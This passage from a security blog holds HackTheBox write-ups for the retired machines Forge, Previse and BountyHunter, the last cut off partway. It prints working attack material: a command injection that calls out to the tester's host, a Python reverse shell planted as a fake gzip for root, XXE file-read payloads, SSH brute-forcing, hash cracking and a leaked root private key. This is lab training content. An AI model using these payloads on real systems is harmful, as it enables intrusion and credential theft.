<span class="mi">000000024</span><span class="p">:</span><span class="w"> </span><span class="mi">200</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">L</span><span class="w"> </span><span class="mi">4</span><span class="w"> </span><span class="n">W</span><span class="w"> </span><span class="mi">27</span><span class="w"> </span><span class="n">Ch</span><span class="w"> </span><span class="s2">"admin - admin"</span>
<span class="err">```</span>
</code></pre></div>
<p>We cannot access the admin interface as some IP filtering is in place.
We try to includ the page by uploading it as an image using the URL but it
failes with an error message: "URL contains a blacklisted address!"</p>
<p>We try the same inclusiion by using upper case on the "FORGE" domain and got the
page http://admin.FORGE.htb</p>
<div class="highlight"><pre><span></span><code><span class="p"><</span><span class="nt">title</span><span class="p">></span>Admin Portal<span class="p"><!--</span--><span class="nt">title</span><span class="p">></span>
<span class="p"><!--</span--><span class="nt">head</span><span class="p">></span>
<span class="p"><</span><span class="nt">body</span><span class="p">></span>
<span class="p"><</span><span class="nt">link</span> <span class="na">rel</span><span class="o">=</span><span class="s">"stylesheet"</span> <span class="na">type</span><span class="o">=</span><span class="s">"text/css"</span> <span class="na">href</span><span class="o">=</span><span class="s">"/static/css/main.css"</span><span class="p">></span>
<span class="p"><</span><span class="nt">header</span><span class="p">></span>
<span class="p"><</span><span class="nt">nav</span><span class="p">></span>
<span class="p"><</span><span class="nt">h1</span> <span class="na">class</span><span class="o">=</span><span class="s">""</span><span class="p">><</span><span class="nt">a</span> <span class="na">href</span><span class="o">=</span><span class="s">"/"</span><span class="p">></span>Portal home<span class="p"><!--</span--><span class="nt">a</span><span class="p">><!--</span--><span class="nt">h1</span><span class="p">></span>
<span class="p"><</span><span class="nt">h1</span> <span class="na">class</span><span class="o">=</span><span class="s">"align-right margin-right"</span><span class="p">><</span><span class="nt">a</span> <span class="na">href</span><span class="o">=</span><span class="s">"/announcements"</span><span class="p">></span>Announcements<span class="p"><!--</span--><span class="nt">a</span><span class="p">><!--</span--><span class="nt">h1</span><span class="p">></span>
<span class="p"><</span><span class="nt">h1</span> <span class="na">class</span><span class="o">=</span><span class="s">"align-right"</span><span class="p">><</span><span class="nt">a</span> <span class="na">href</span><span class="o">=</span><span class="s">"/upload"</span><span class="p">></span>Upload image<span class="p"><!--</span--><span class="nt">a</span><span class="p">><!--</span--><span class="nt">h1</span><span class="p">></span>
<span class="p"><!--</span--><span class="nt">nav</span><span class="p">></span>
<span class="p"><!--</span--><span class="nt">header</span><span class="p">></span>
<span class="p"><</span><span class="nt">br</span><span class="p">><</span><span class="nt">br</span><span class="p">><</span><span class="nt">br</span><span class="p">><</span><span class="nt">br</span><span class="p">></span>
<span class="p"><</span><span class="nt">br</span><span class="p">><</span><span class="nt">br</span><span class="p">><</span><span class="nt">br</span><span class="p">><</span><span class="nt">br</span><span class="p">></span>
<span class="p"><</span><span class="nt">center</span><span class="p">><</span><span class="nt">h1</span><span class="p">></span>Welcome Admins!<span class="p"><!--</span--><span class="nt">h1</span><span class="p">><!--</span--><span class="nt">center</span><span class="p">></span>
<span class="p"><!--</span--><span class="nt">body</span><span class="p">></span>
<span class="p"><!--</span--><span class="nt">html</span><span class="p">></span>
</span></span></span></span></span></span></span></span></span></span></span></span></span></span></code></pre></div>
<p>We look at the <code>announcements</code> page:</p>
<div class="highlight"><pre><span></span><code><span class="p"><</span><span class="nt">li</span><span class="p">></span>An internal ftp server has been setup with credentials as user:heightofsecurity123!<span class="p"><!--</span--><span class="nt">li</span><span class="p">></span>
<span class="p"><</span><span class="nt">li</span><span class="p">></span>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.<span class="p"><!--</span--><span class="nt">li</span><span class="p">></span>
<span class="p"><</span><span class="nt">li</span><span class="p">></span>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=<span class="ni"><</span>url<span class="ni">></span>.<span class="p"><!--</span--><span class="nt">li</span><span class="p">></span>
</span></span></span></code></pre></div>
<p>We try to load the FTP page using the disclosed credentials
<code>http://admin.FORGE.htb/upload?u=ftp://user:heightofsecurity123!@FORGE.htb/</code>
We got two files <code>user.txt</code> and <code>snap</code>.</p>
<p>We take a look at the <code>.ssh/id_rsa</code> file (worst case scenario it does not
exist) using <code>http://admin.FORGE.htb/upload?u=ftp://user:heightofsecurity123!@FORGE.htb/.ssh/id_rsa</code>
and got the RSA private key. We can now connect as <code>user</code> using SSH and grab the
user flag.</p>
<div class="highlight"><pre><span></span><code>└─$ ssh user@forge.htb -i id_rsa
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)
user@forge:~$ cat user.txt
4a8aed62cdd2fca87ce185b780ee3e89
</code></pre></div>
<h1>Root</h1>
<p>We look at our privileges (<code>sudo -l</code>) and we see that we can run <code>/usr/bin/python3 /opt/remote-manage.py</code>
as <code>root</code> without password. Looking at the script it is a remote manager script
that will land us a <a href="https://docs.python.org/3/library/pdb.html">PDB</a> if it got
a unrecognized input. So we launch the script, connect to it using another SSH
terminal and <code>nc</code>, then we just input a "q" that will not be recognize and get
a <a href="https://docs.python.org/3/library/pdb.html">PDB</a> in our first shell allowing
us to load the <code>os</code> module and execute system commands as root using
<code>os.system([COMMAND])</code>.</p>
<div class="highlight"><pre><span></span><code>user@forge:~$ sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:59816
invalid literal for int() with base 10: b'q'
> /opt/remote-manage.py(27)<module>()
-> option = int(clientsock.recv(1024).strip())
(Pdb) --KeyboardInterrupt--
(Pdb) import os
(Pdb) os.system('id')
uid=0(root) gid=0(root) groups=0(root)
0
</module></code></pre></div>
<p>We just grab the root SSH private key and connect on the box as <code>root</code> allowing us
to get the flag.</p>
<div class="highlight"><pre><span></span><code>(Pdb) os.system('ls /root/.ssh')
authorized_keys id_rsa id_rsa.pub
0
(Pdb) os.system('cat /root/.ssh/id_rsa')
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAusTE7uvvBLrfqDLv6I/+Xc9W/RVGA4eFPOowUNkHDZ4MTUm4cK4/
DdTvY7o7bvSinEX26rWdG4eVY3qnBGSACl3VIGX80NsWgyZwWQT20Vj0q8gf674RB4LfB6
i6Awm8cbm3105HxfQnqr4qr2oJEpyDVaF29zpaS+6y0Ogq7HcRkSyQyErBnGmlOYBcBvvh
<snip>
-----END OPENSSH PRIVATE KEY-----
└─$ ssh forge.htb -l root -i id_rsa_root
root@forge:~# id
uid=0(root) gid=0(root) groups=0(root)
root@forge:~# cat root.txt
5a7c66fcccbc8a380f220f349e6eea95
</snip></code></pre></div>
<h1>Wrapping up</h1>
<p>This box was really easy for a medium one. The root part really easy. I
triggered it by mistake as "q" for quit is an old habit. Once you get the
subdomain the user part just requires to follow the dots. A great medium box for
beginners.</p>HTB: Previse2022-01-08T17:44:00+01:002022-01-08T17:44:00+01:00maggicktag:maggick.fr,2022-01-08:/2022/01/htb-previse.html<p><img alt="Previse" class="align-left" src="/media/2022.01/previse_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/373">Previse</a> publish on
August 7, 2021 by
<a href="https://www.hackthebox.com/home/users/profile/107145">m4lwhere</a>.
This box is rated as an easy machine. It implies a hidden page, a unsanitize
variable, a funny salt and a relative PATH.</p>
<p><img alt="Previse" class="align-left" src="/media/2022.01/previse_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/373">Previse</a> publish on
August 7, 2021 by
<a href="https://www.hackthebox.com/home/users/profile/107145">m4lwhere</a>.
This box is rated as an easy machine. It implies a hidden page, a unsanitize
variable, a funny salt and a relative PATH.</p>
<h1>Foothold</h1>
<h2>Recon</h2>
<p>Let us start as always by a <code>nmap</code> scan. Only port 80 (HTTP) and 22 (SSH) are
open.</p>
<div class="highlight"><pre><span></span><code># Nmap 7.91 scan initiated Sat Aug 28 08:31:50 2021 as: nmap -p- -sSV -oN notes.md -A 10.129.193.153
Nmap scan report for 10.129.193.153
Host is up (0.013s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
<snip>
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
<snip>
</snip></snip></code></pre></div>
<h2>Web</h2>
<p>The website is a simple authentication form. We launch <code>ffuf</code> against it and
found a few pages.</p>
<div class="highlight"><pre><span></span><code>└─$ ./ffuf -w /usr/share/dirb/wordlists/common.txt -u http://10.129.193.153/FUZZ -mc 200 -e .php
<snip>
config.php [Status: 200, Size: 0, Words: 1, Lines: 1]
favicon.ico [Status: 200, Size: 15406, Words: 15, Lines: 10]
footer.php [Status: 200, Size: 217, Words: 10, Lines: 6]
header.php [Status: 200, Size: 980, Words: 183, Lines: 21]
login.php [Status: 200, Size: 2224, Words: 486, Lines: 54]
nav.php [Status: 200, Size: 1248, Words: 462, Lines: 32]
:: Progress: [9228/9228] :: Job [1/1] :: 2567 req/sec :: Duration: [0:00:03] :: Errors: 0 ::
</snip></code></pre></div>
<p>Looking at <code>nav.php</code> we found the <code>accounts.php</code> page with an automatic redirection to the login page
we look at the HTML and send the post request required to create an account
using Burp. We can then login as our user on the application</p>
<div class="highlight"><pre><span></span><code>POST /accounts.php HTTP/1.1
Host: 10.129.193.153
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
Connection: close
Cookie: PHPSESSID=uu672fe9ecq5640am2fgsekhbk
Upgrade-Insecure-Requests: 1
username=toto1&password=12345&confirm=12345&submit=
</code></pre></div>
<p>We can download the <code>siteBackup</code> file on the server.
The <code>logs.php</code> file seems to be called when we want to get the log data via the management menu.
We can see that the POST parameter <code>delim</code> is not sanitize and use directly in an <code>exec</code> statement.
We can use that to run code on the box. We run a simple python HTTP server (<code>python3 -m http.server</code>)
and using Burp repeater put the following payload in the <code>delim</code> parameter:</p>
<div class="highlight"><pre><span></span><code>POST /logs.php HTTP/1.1
Host: 10.129.193.153
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Origin: http://10.129.193.153
Connection: close
Referer: http://10.129.193.153/file_logs.php
Cookie: PHPSESSID=uu672fe9ecq5640am2fgsekhbk
Upgrade-Insecure-Requests: 1
delim=; wget 10.10.14.52:8000/$(id)
</code></pre></div>
<p>We got the RCE on our web server:
<code>10.129.193.153 - - [28/Aug/2021 09:06:34] "GET /uid=33(www-data) HTTP/1.1" 404 -</code></p>
<p>We know that python is on the box so we use a basic python reverse shell. The
payload is the following:</p>
<p><code>delim=; python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.52",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'</code></p>
<p>We run <code>netcat</code> on our kali box to catch our reverse shell and are logged in
as the <code>www-data</code> user.</p>
<div class="highlight"><pre><span></span><code>nc -l -p 4242
$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
</code></pre></div>
<p>Using the connection credentials in the <code>config.php</code> file we can login on the
MySQL database as <code>root</code> and grab the passwords in the <code>accounts</code> table.</p>
<div class="highlight"><pre><span></span><code>$ mysql -u root -p
mysql -u root -p
Enter password: mySQL_p@ssw0rd!:)
Welcome to the MySQL monitor. Commands end with ; or \g.
mysql> use previse;
use previse;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> SHOW TABLES;
SHOW TABLES;
+-------------------+
| Tables_in_previse |
+-------------------+
| accounts |
| files |
+-------------------+
2 rows in set (0.00 sec)
mysql> select * from accounts;
select * from accounts;
+----+----------+------------------------------------+---------------------+
| id | username | password | created_at |
+----+----------+------------------------------------+---------------------+
| 1 | m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. | 2021-05-27 18:18:36 |
| 2 | totoo | $1$🧂llol$wzYjWk/p5usz8BzxvPrXs1 | 2021-08-25 12:49:52 |
| 3 | toto1 | $1$🧂llol$eBQMPwAvz9j9ZpK62qDI// | 2021-08-25 12:50:25 |
+----+----------+------------------------------------+---------------------+
3 rows in set (0.00 sec)
</code></pre></div>
<p>We run john on the hashes (keep the unicode salt character in the salt value)
with the rockyou dictionary and got the <code>m4lwhere</code> user password.</p>
<div class="highlight"><pre><span></span><code>$ john -w=rockyou.txt hash --format=md5crypt-long
--------------------------------------------------------------------------
Loaded 3 password hashes with no different salts (md5crypt-long, crypt(3) $1$ (and variants) [MD5 32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
123456 (?)
12345 (?)
2g 0:00:00:51 6.65% (ETA: 15:36:49) 0.03919g/s 21235p/s 21235c/s 21238C/s 438700..4358427
2g 0:00:02:09 18.48% (ETA: 15:35:40) 0.01550g/s 22220p/s 22220c/s 22221C/s vixieskathys109..vixen911
ilovecody112235! (?)
3g 0:00:06:35 DONE (2021-08-28 15:30) 0.007588g/s 18752p/s 18752c/s 18752C/s ilovecoke95..ilovecody*
Use the "--show" option to display all of the cracked passwords reliably
Session completed
</code></pre></div>
<p>We use this password to connect on the SSH service and get the user flag.</p>
<div class="highlight"><pre><span></span><code>└─$ ssh m4lwhere@10.129.193.153 #ilovecody112235!
m4lwhere@previse:~$ id
uid=1000(m4lwhere) gid=1000(m4lwhere) groups=1000(m4lwhere)
m4lwhere@previse:~$ cat user.txt
15af390166c631f24622d77948ba2444
</code></pre></div>
<h1>Root</h1>
<p>We look at our <code>sudo</code> privileges and found that we can run a bash script as
root.</p>
<div class="highlight"><pre><span></span><code>m4lwhere@previse:~$ sudo -l
[sudo] password for m4lwhere:
User m4lwhere may run the following commands on previse:
(root) /opt/scripts/access_backup.sh
</code></pre></div>
<p>Looking at the script we quickly notice the use of a relative path to call the
<code>gzip</code> binary we should be able to easily run anything.</p>
<div class="highlight"><pre><span></span><code>m4lwhere@previse:~$ cat /opt/scripts/access_backup.sh
#!/bin/bash
# We always make sure to store logs, we take security SERIOUSLY here
# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time
gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz
</code></pre></div>
<p>Obviously we could just retrive the flag by putting <code>cp /root/root.txt /tmp && chmod 777 /tmp/*</code>
in our <code>gzip</code> file but a <code>root</code> shell is better.</p>
<p>We have a few ways to get a root shell with our command injection:</p>
<ul>
<li>Add a root (id 0) user to <code>/etc/passwd</code> with a password of our choice (see <a href="/2021/07/htb-armageddon.html">armageddon</a>)</li>
<li>surcharge our <code>sudo</code> permissions (see <a href="https://maggick.fr/2021/12/htb-bountyhunter.html">bountyhunter</a>)</li>
<li>Add an ssh key to <code>root</code></li>
<li>run a reverse shell</li>
</ul>
<p>We will use the latest one here and get a reverse shell as <code>root</code> allowing to grab
the last flag.</p>
<div class="highlight"><pre><span></span><code>m4lwhere@previse:~$ export PATH=./:$PATH
m4lwhere@previse:~$ vim gzip
m4lwhere@previse:~$ cat gzip
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.52",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
m4lwhere@previse:~$ chmod +x gzip
m4lwhere@previse:~$ sudo /opt/scripts/access_backup.sh
└─$ nc -l -p 4242
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
d465e7ac787731bbd7de2f69444407e3
</code></pre></div>
<h1>Wrapping up</h1>
<p>An easy box really recommended for beginners as their is only two classical
vulnerabilities here.</p>HTB: BountyHunter2021-12-28T19:15:00+01:002021-12-28T19:15:00+01:00maggicktag:maggick.fr,2021-12-28:/2021/12/htb-bountyhunter.html<p><img alt="BountyHunterCard" class="align-left" src="/media/2021.12/bountyhunter_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/359">BountyHunter</a> publish on
July 25, 2021 by
<a href="https://www.hackthebox.com/home/users/profile/280547">ejedev</a>.
This box is rated as an easy machine. It implies an XXE and some python.</p>
<p><img alt="BountyHunterCard" class="align-left" src="/media/2021.12/bountyhunter_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/359">BountyHunter</a> publish on
July 25, 2021 by
<a href="https://www.hackthebox.com/home/users/profile/280547">ejedev</a>.
This box is rated as an easy machine. It implies an XXE and some python.</p>
<h1>Foothold</h1>
<h2>Recon</h2>
<p>Let us start as always by a <code>nmap</code> scan. Only port 80 (HTTP) and 22 (SSH) are
open.</p>
<div class="highlight"><pre><span></span><code># Nmap 7.91 scan initiated Wed Jul 28 04:40:09 2021 as: nmap -A -p- -sSV -oN notes.md 10.129.180.140
Nmap scan report for 10.129.180.140
Host is up (0.018s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
| 256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_ 256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 1720/tcp)
HOP RTT ADDRESS
1 17.87 ms 10.10.14.1
2 18.02 ms 10.129.180.140
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</code></pre></div>
<h1>Web</h1>
<p>The website is a bug bounty one.</p>
<p><img alt="Website homepage" class="image-process-article-image" src="/media/2021.12/derivatives/article-image/bountyhunter_01.png"/></p>
<p>We launch a <a href="https://github.com/ffuf/ffuf">fuff</a> against it, founding a
<code>db.php</code> script (which return an empty page).</p>
<div class="highlight"><pre><span></span><code>└─$ ./ffuf -w /usr/share/dirb/wordlists/common.txt -u http://10.129.73.239/FUZZ -e .php -mc 200
<snip>
db.php [Status: 200, Size: 0, Words: 1, Lines: 1]
index.php [Status: 200, Size: 25169, Words: 10028, Lines: 389]
index.php [Status: 200, Size: 25169, Words: 10028, Lines: 389]
portal.php [Status: 200, Size: 125, Words: 11, Lines: 6]
</snip></code></pre></div>
<p>The portal allow to create a new bug report sending a base64 encoded XML to the endpoint.
This looks like an XXE (https://portswigger.net/web-security/xxe) vulnerability.
We modify the XML sent to the endpoint to retrieve <code>/etc/passwd</code>.</p>
<div class="highlight"><pre><span></span><code><?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<bugreport>
<title>&xxe</title>
<cwe>11</cwe>
<cvss>11</cvss>
<reward>11</reward>
</bugreport>
</code></pre></div>
<p>We <code>urlEncode(Base64(ourPayload))</code> and send it to the server, getting the file back.</p>
<div class="highlight"><pre><span></span><code>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
development:x:1000:1000:Development:/home/development:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
</code></pre></div>
<p>Next we try to retrieve the <code>portal.php</code> file using our XXE vulnerability but
the file seems to be empty (which we know it is not). We use a
<a href="https://pentestbook.six2dez.com/enumeration/web/xxe">PHP filter</a> to
load the file with the following payload:</p>
<div class="highlight"><pre><span></span><code><?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=./portal.php">
]>
<bugreport>
<title>&xxe</title>
<cwe>11</cwe>
<cvss>11</cvss>
<reward>11</reward>
</bugreport>
</code></pre></div>
<p>We get the file but it does not contain anything interesting. We retrieve the
db.php file using the same method:</p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="c1">// TODO -> Implement login system with the database.</span>
<span class="nv">$dbserver</span> <span class="o">=</span> <span class="s2">"localhost"</span><span class="p">;</span>
<span class="nv">$dbname</span> <span class="o">=</span> <span class="s2">"bounty"</span><span class="p">;</span>
<span class="nv">$dbusername</span> <span class="o">=</span> <span class="s2">"admin"</span><span class="p">;</span>
<span class="nv">$dbpassword</span> <span class="o">=</span> <span class="s2">"m19RoAU0hP41A1sTsq6K"</span><span class="p">;</span>
<span class="nv">$testuser</span> <span class="o">=</span> <span class="s2">"test"</span><span class="p">;</span>
<span class="cp">?></span>
</span></code></pre></div>
<p>We got the database to be password.
We create a list of user form the <code>/etc/passwd</code> file and add the <code>bounty</code>,
<code>admin</code> and <code>test</code> users to the list and launch <code>hydra</code> against the SSH service.</p>
<div class="highlight"><pre><span></span><code>└─$ hydra ssh://10.129.73.239 -L users -p m19RoAU0hP41A1sTsq6K
<snip>
[22][ssh] host: 10.129.73.239 login: development password: m19RoAU0hP41A1sTsq6K
1 of 1 target successfully completed, 1 valid password found
</snip></code></pre></div>
<p>We can now connect to the box using the <code>developement</code> user and grab the user
flag.</p>
<div class="highlight"><pre><span></span><code>└─$ ssh development@10.129.73.239 #m19RoAU0hP41A1sTsq6K
development@10.129.73.239's password:
<snip>
development@bountyhunter:~$ id
uid=1000(development) gid=1000(development) groups=1000(development)
development@bountyhunter:~$ cat user.txt
f737187566092403094c901b3ffe6117
</snip></code></pre></div>
<h1>Root</h1>
<p>Our <code>development</code> user has the permissions to run a specific home made
python script as root.</p>
<div class="highlight"><pre><span></span><code>development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User development may run the following commands on bountyhunter:
(root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
</code></pre></div>
<p>Looking at the script we notice that it read a file, check a few condition then eval the first line starting with **</p>
<div class="highlight"><pre><span></span><code><span class="c1">#Skytrain Inc Ticket Validation System 0.1</span>
<span class="c1">#Do not distribute this file.</span>
<span class="k">def</span> <span class="nf">load_file</span><span class="p">(</span><span class="n">loc</span><span class="p">):</span>
<span class="k">if</span> <span class="n">loc</span><span class="o">.</span><span class="n">endswith</span><span class="p">(</span><span class="s2">".md"</span><span class="p">):</span>
<span class="k">return</span> <span class="nb">open</span><span class="p">(</span><span class="n">loc</span><span class="p">,</span> <span class="s1">'r'</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"Wrong file type."</span><span class="p">)</span>
<span class="n">exit</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">evaluate</span><span class="p">(</span><span class="n">ticketFile</span><span class="p">):</span>
<span class="c1">#Evaluates a ticket to check for ireggularities.</span>
<span class="n">code_line</span> <span class="o">=</span> <span class="kc">None</span>
<span class="k">for</span> <span class="n">i</span><span class="p">,</span><span class="n">x</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">ticketFile</span><span class="o">.</span><span class="n">readlines</span><span class="p">()):</span>
<span class="k">if</span> <span class="n">i</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">x</span><span class="o">.</span><span class="n">startswith</span><span class="p">(</span><span class="s2">"# Skytrain Inc"</span><span class="p">):</span>
<span class="k">return</span> <span class="kc">False</span>
<span class="k">continue</span>
<span class="k">if</span> <span class="n">i</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">x</span><span class="o">.</span><span class="n">startswith</span><span class="p">(</span><span class="s2">"## Ticket to "</span><span class="p">):</span>
<span class="k">return</span> <span class="kc">False</span>
<span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">"Destination: </span><span class="si">{</span><span class="s1">' '</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">x</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">' '</span><span class="p">)[</span><span class="mi">3</span><span class="p">:])</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span>
<span class="k">continue</span>
<span class="k">if</span> <span class="n">x</span><span class="o">.</span><span class="n">startswith</span><span class="p">(</span><span class="s2">"__Ticket Code:__"</span><span class="p">):</span>
<span class="n">code_line</span> <span class="o">=</span> <span class="n">i</span><span class="o">+</span><span class="mi">1</span>
<span class="k">continue</span>
<span class="k">if</span> <span class="n">code_line</span> <span class="ow">and</span> <span class="n">i</span> <span class="o">==</span> <span class="n">code_line</span><span class="p">:</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">x</span><span class="o">.</span><span class="n">startswith</span><span class="p">(</span><span class="s2">"**"</span><span class="p">):</span>
<span class="k">return</span> <span class="kc">False</span>
<span class="n">ticketCode</span> <span class="o">=</span> <span class="n">x</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="s2">"**"</span><span class="p">,</span> <span class="s2">""</span><span class="p">)</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">"+"</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
<span class="k">if</span> <span class="nb">int</span><span class="p">(</span><span class="n">ticketCode</span><span class="p">)</span> <span class="o">%</span> <span class="mi">7</span> <span class="o">==</span> <span class="mi">4</span><span class="p">:</span>
<span class="n">validationNumber</span> <span class="o">=</span> <span class="nb">eval</span><span class="p">(</span><span class="n">x</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="s2">"**"</span><span class="p">,</span> <span class="s2">""</span><span class="p">))</span>
<span class="k">if</span> <span class="n">validationNumber</span> <span class="o">></span> <span class="mi">100</span><span class="p">:</span>
<span class="k">return</span> <span class="kc">True</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">return</span> <span class="kc">False</span>
<span class="k">return</span> <span class="kc">False</span>
<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
<span class="n">fileName</span> <span class="o">=</span> <span class="nb">input</span><span class="p">(</span><span class="s2">"Please enter the path to the ticket file.</span><span class="se">\n</span><span class="s2">"</span><span class="p">)</span>
